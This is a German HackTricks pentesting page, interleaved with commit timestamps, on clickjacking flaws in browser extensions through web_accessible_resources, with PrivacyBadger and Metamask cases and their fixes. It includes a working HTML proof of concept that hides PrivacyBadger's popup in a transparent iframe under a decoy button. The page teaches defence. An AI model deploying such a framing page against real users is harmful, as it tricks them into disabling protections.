hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

126 lines
8 KiB
Markdown
Raw Normal View History

# BrowExt - ClickJacking
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-31 01:25:17 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
2024-02-10 15:36:32 +00:00
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
2024-02-10 15:36:32 +00:00
## Grundlegende Informationen
Diese Seite wird eine ClickJacking-Schwachstelle in einer Browsererweiterung ausnutzen.\
Wenn Sie nicht wissen, was ClickJacking ist, überprüfen Sie:
{% content-ref url="../clickjacking.md" %}
[clickjacking.md](../clickjacking.md)
{% endcontent-ref %}
Erweiterungen enthalten die Datei **`manifest.json`** und diese JSON-Datei hat ein Feld `web_accessible_resources`. Hier ist, was [die Chrome-Dokumentation](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) dazu sagt:
> Diese Ressourcen wären dann über die URL **`chrome-extension://[PACKAGE ID]/[PATH]`** auf einer Webseite verfügbar, die mit der Methode **`extension.getURL`** generiert werden kann. Erlaubte Ressourcen werden mit entsprechenden CORS-Headern bereitgestellt, sodass sie über Mechanismen wie XHR verfügbar sind.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
Die **`web_accessible_resources`** in einer Browsererweiterung sind nicht nur über das Web zugänglich; sie arbeiten auch mit den inhärenten Berechtigungen der Erweiterung. Das bedeutet, dass sie die Fähigkeit haben, Folgendes zu tun:
2024-02-06 03:10:38 +00:00
* Den Zustand der Erweiterung ändern
* Zusätzliche Ressourcen laden
* Mit dem Browser bis zu einem gewissen Grad interagieren
2024-02-06 03:10:38 +00:00
Diese Funktion birgt jedoch ein Sicherheitsrisiko. Wenn eine Ressource innerhalb von **`web_accessible_resources`** eine wesentliche Funktionalität hat, könnte ein Angreifer diese Ressource möglicherweise in eine externe Webseite einbetten. Unwissende Benutzer, die diese Seite besuchen, könnten diese eingebettete Ressource versehentlich aktivieren. Eine solche Aktivierung könnte je nach Berechtigungen und Fähigkeiten der Ressourcen der Erweiterung zu unbeabsichtigten Folgen führen.
## PrivacyBadger-Beispiel
In der Erweiterung PrivacyBadger wurde eine Schwachstelle identifiziert, die mit dem Verzeichnis `skin/` zusammenhängt, das wie folgt als `web_accessible_resources` deklariert wurde (Überprüfen Sie den originalen [Blog-Beitrag](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
```json
"web_accessible_resources": [
2024-02-10 15:36:32 +00:00
"skin/*",
"icons/*"
]
```
Diese Konfiguration führte zu einem potenziellen Sicherheitsproblem. Speziell die Datei `skin/popup.html`, die beim Interagieren mit dem PrivacyBadger-Symbol im Browser gerendert wird, könnte innerhalb eines `iframe` eingebettet werden. Diese Einbettung könnte ausgenutzt werden, um Benutzer dazu zu verleiten, versehentlich auf "PrivacyBadger für diese Website deaktivieren" zu klicken. Eine solche Aktion würde die Privatsphäre des Benutzers gefährden, indem der PrivacyBadger-Schutz deaktiviert und der Benutzer möglicherweise verstärktem Tracking ausgesetzt würde. Eine visuelle Demonstration dieses Exploits kann in einem ClickJacking-Video-Beispiel angesehen werden, das unter [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm) bereitgestellt wird.
Um diese Schwachstelle zu beheben, wurde eine einfache Lösung implementiert: die Entfernung von `/skin/*` aus der Liste der `web_accessible_resources`. Diese Änderung hat das Risiko effektiv gemindert, indem sichergestellt wurde, dass der Inhalt des `skin/`-Verzeichnisses nicht über webzugängliche Ressourcen abgerufen oder manipuliert werden konnte.
Die Behebung war einfach: **Entfernen Sie `/skin/*` aus den `web_accessible_resources`**.
### PoC
```html
2024-02-06 03:10:38 +00:00
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
2024-02-10 15:36:32 +00:00
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
2024-02-10 15:36:32 +00:00
float: top;
position: absolute;
}
button {
2024-02-10 15:36:32 +00:00
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
2024-02-10 15:36:32 +00:00
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
```
2024-02-10 15:36:32 +00:00
## Metamask Beispiel
Ein [**Blog-Beitrag über ein ClickJacking in Metamask finden Sie hier**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In diesem Fall hat Metamask die Schwachstelle behoben, indem überprüft wurde, dass das Protokoll, das zum Zugriff verwendet wurde, **`https:`** oder **`http:`** war (nicht z.B. **`chrome:`**):
<figure><img src="../../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
**Ein weiteres behobenes ClickJacking** in der Metamask-Erweiterung war, dass Benutzer in der Lage waren, auf **Klicken zum Whitelisten** zu klicken, wenn eine Seite verdächtig war, ein Phishing-Versuch zu sein, aufgrund von `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Da diese Seite anfällig für Clickjacking war, konnte ein Angreifer sie missbrauchen, indem er etwas Normales anzeigte, um das Opfer dazu zu bringen, darauf zu klicken, um es zu whitelisten, ohne es zu bemerken, und dann zur Phishing-Seite zurückzukehren, die dann auf der Whitelist stand.
2024-02-10 15:36:32 +00:00
## Steam Inventory Helper Beispiel
Überprüfen Sie die folgende Seite, um zu sehen, wie ein **XSS** in einer Browsererweiterung mit einer **ClickJacking**-Schwachstelle verkettet wurde:
{% content-ref url="browext-xss-example.md" %}
[browext-xss-example.md](browext-xss-example.md)
{% endcontent-ref %}
2024-02-10 15:36:32 +00:00
## Referenzen
* [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
2024-02-06 03:10:38 +00:00
* [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
<details>
<summary><strong>Erfahren Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-31 01:25:17 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>